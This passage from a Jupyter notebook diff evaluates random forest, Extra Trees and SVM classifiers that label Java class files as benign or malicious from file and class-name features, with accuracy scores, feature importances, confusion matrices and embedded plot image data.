GXlfx+2lg872MudnLnq1RUVMY\n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\nYII=\n",
+       "text": [
+        "<matplotlib.figure.Figure at 0x11b977ad0>"
+       ]
+      }
+     ],
+     "prompt_number": 175
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "#### We ask the classifier to tell the importance again, and we see the features extracted from the class name now totally dominate the classifier.  On one hand, we got great results with this classifier, on the other, we see that is almost completely reliant on one major feature of the file."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "importances = zip(all_features, clf_all.feature_importances_)\n",
+      "importances.sort(key=lambda k:k[1], reverse=True)\n",
+      "sum = 0\n",
+      "for idx, im in enumerate(importances):\n",
+      "    sum += round(im[1], 5)\n",
+      "    print (str(idx+1) + ':').ljust(4), im[0].ljust(35), round(im[1], 5), sum"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "1:   class_name_slash_count              0.31448 0.31448\n",
+        "2:   class_name_length                   0.28798 0.60246\n",
+        "3:   class_name_lowercase_run_longest    0.08185 0.68431\n",
+        "4:   entropy                             0.06346 0.74777\n",
+        "5:   class_name_lowercase_run_avg        0.06043 0.8082\n",
+        "6:   constant_pool_count                 0.03532 0.84352\n",
+        "7:   size                                0.02862 0.87214\n",
+        "8:   class_name_uppercase_run_longest    0.02839 0.90053\n",
+        "9:   class_name_uppercase_run_avg        0.02537 0.9259\n",
+        "10:  method_name_lowercase_run_avg       0.01137 0.93727\n",
+        "11:  interface_count                     0.01073 0.948\n",
+        "12:  class_name_digit_run_avg            0.00947 0.95747\n",
+        "13:  method_name_lowercase_run_longest   0.00751 0.96498\n",
+        "14:  acc_public                          0.00604 0.97102\n",
+        "15:  methods_count                       0.00509 0.97611\n",
+        "16:  method_name_uppercase_run_longest   0.00459 0.9807\n",
+        "17:  ap_count                            0.0039 0.9846\n",
+        "18:  class_name_digit_run_longest        0.00336 0.98796\n",
+        "19:  major version                       0.00286 0.99082\n",
+        "20:  method_name_uppercase_run_avg       0.00277 0.99359\n",
+        "21:  acc_abstract                        0.00181 0.9954\n",
+        "22:  method_name_digit_run_avg           0.00148 0.99688\n",
+        "23:  acc_final                           0.00105 0.99793\n",
+        "24:  method_name_digit_run_longest       0.00103 0.99896\n",
+        "25:  minor version                       0.00054 0.9995\n",
+        "26:  acc_interface                       0.0005 1.0\n",
+        "27:  acc_super                           1e-05 1.00001\n",
+        "28:  acc_annotation                      0.0 1.00001\n",
+        "29:  acc_enum                            0.0 1.00001\n",
+        "30:  acc_synthetic                       0.0 1.00001\n"
+       ]
+      }
+     ],
+     "prompt_number": 176
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "###Using a different classifier\n",
+      "<font size=3>\n",
+      "Let's try a different classifier: Extra Trees Classifier (like RandomForest, but even more random).<br>\n",
+      "http://scikit-learn.org/stable/modules/generated/sklearn.ensemble.ExtraTreesClassifier.html\n"
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "clf_er = sklearn.ensemble.ExtraTreesClassifier(n_estimators=50)\n",
+      "X_er = df.as_matrix(all_features)\n",
+      "y_er = np.array(df['label'].tolist())\n",
+      "labels = ['benign', 'malicious']\n",
+      "\n",
+      "scores = sklearn.cross_validation.cross_val_score(clf_er, X_er, y_er, cv=10)\n",
+      "print(\"Accuracy: %0.3f (+/- %0.3f)\" % (scores.mean(), scores.std() * 2))"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "Accuracy: 0.997 (+/- 0.013)\n"
+       ]
+      }
+     ],
+     "prompt_number": 179
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "# 80/20 Split for predictive test\n",
+      "X_train, X_test, y_train, y_test = train_test_split(X_er, y_er, test_size=my_tsize, random_state=my_seed)\n",
+      "clf_er.fit(X_train, y_train)\n",
+      "y_pred = clf_er.predict(X_test)\n",
+      "cm = confusion_matrix(y_test, y_pred, labels)\n",
+      "plot_cm(cm, labels)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "Confusion Matrix Stats\n",
+        "benign/benign: 100.00% (90/90)\n",
+        "benign/malicious: 0.00% (0/90)\n",
+        "malicious/benign: 0.00% (0/114)\n",
+        "malicious/malicious: 100.00% (114/114)\n"
+       ]
+      },
+      {
+       "metadata": {},
+       "output_type": "display_data",
+       "png": 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\n",
+       "text": [
+        "<matplotlib.figure.Figure at 0x11b869b10>"
+       ]
+      }
+     ],
+     "prompt_number": 180
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "import sklearn.svm\n",
+      "import sklearn.preprocessing\n",
+      "clf_svc = sklearn.svm.SVC()\n",
+      "X_svc = df.as_matrix(all_features)\n",
+      "X_svc = sklearn.preprocessing.scale(X_svc)\n",
+      "y_svc = np.array(df['label'].tolist())\n",
+      "labels = ['benign', 'malicious']\n",
+      "\n",
+      "scores = sklearn.cross_validation.cross_val_score(clf_svc, X_svc, y_svc, cv=10)\n",
+      "print(\"Accuracy: %0.3f (+/- %0.3f)\" % (scores.mean(), scores.std() * 2))"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "Accuracy: 0.993 (+/- 0.015)\n"
+       ]
+      }
+     ],
+     "prompt_number": 181
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "# 80/20 Split for predictive test\n",
+      "X_train, X_test, y_train, y_test = train_test_split(X_svc, y_svc, test_size=my_tsize, random_state=my_seed)\n",
+      "clf_svc.fit(X_train, y_train)\n",
+      "y_pred = clf_svc.predict(X_test)\n",
+      "cm = confusion_matrix(y_test, y_pred, labels)\n",
+      "plot_cm(cm, labels)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "Confusion Matrix Stats\n",
+        "benign/benign: 98.89% (89/90)\n",
+        "benign/malicious: 1.11% (1/90)\n",
+        "malicious/benign: 0.00% (0/114)\n",
+        "malicious/malicious: 100.00% (114/114)\n"
+       ]
+      },
+      {
+       "metadata": {},
+       "output_type": "display_data",
+       "png": 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fyPuiJvNaWmkznDYTxE8qSAtgPimA3xIRbaWUyszMrCQRvTdjW17Fc3PSe+EA\nj5Ca0vcsyF5rjr+vrPs3swDKiWXd1MzMbGUpYz1xSetHxPyCQ/8GrALcABARi/IaI5+VNKruPfG1\ngGOB2RFxb48LlHUpiEtaG3gYODsizirr5mZmZr2tpNHp35e0O3Ab8EdgLVI/+BjgHlZcU2Q8MBa4\nWdIEYCFpxrZNSCPaS9OlIB4RCyWtDywq8+ZmZma9raQgfhtp9c4jgA2At0mreJ4A/DQi3lh+v4g5\nkkYDpwPHk97cuh/YPyJuLaMwNc30iU8nvaA+scwCmJmZ9aYygnhEXA9c30T+WcDBPb5xJ5rpKDge\n+Jyko6UKr+tmZmaVUtYqZv1RhzXx/G74vIhYQppS9VVSTfwMSXMoeNfNq5iZmVl/0puj0/taZ83p\nc4HDgMt5ZxWz5/Kx9xbk72ipUjMzMytRM6+YbdmL5TAzM+sVrdQ83qwy5043MzPrdxzEzczMWtRA\nD+IfldRMs/slPSiPmZlZqQbywDaAL+etKwJwEDczs36jbYDXxH9OmlKuKzw63czM+pWB3pw+LSIu\n7/WSmJmZ9YKB3pxuZmbWsgZ6TdzMzKxluSZuZmbWogZsTTwier6SupmZWR+qck3cQdrMzKwbJA2V\n9LSkNkk/Kzg+QtIkSfMlLZI0TdI+ZZbBzelmZlZpbb136ZOAYfnnFV6xlrQNcBfwBnAGsAAYB0yW\ndEBETCmjAA7iZmZWab3RnC5pZ+BbwD+RlupudBqwDrBLRMzM51wCPAacA4wsoxxuTjczs0oL1PTW\nEUmrABcAvwWuLTi+JnAQMLUWwAEiYjEwERguabcyns01cTMzq7ReqIn/AzAC+AzFleFRwOrA3QXH\npuf9rsC9PS2Ia+JmZlZpZdbEJW0F/Aj4UUQ81062TfP++YJjtbTNuv1AdVwTNzOzSmsrd1WP84Gn\nKO4Hrxma98sKji1tyNMjDuJmZlZpXZns5cEZ03jo3t93mEfSYcDHgI9GxNsdZF2S94MLjg1pyNMj\nDuJmZlZpXekT33G3vdlxt72Xf/7leaeucFzSYFLt+0bgRUnb5kO1ZvH18mtl84AXGo7Vq6UVNbU3\nzX3iZmZWaRHNbwXWIL0T/kngSWB23m7Lxw/L6ccAM0lN6XsWXGePvL+vjGdzTdzMzCqtrZy50xcB\nf0fDpC7ARsC5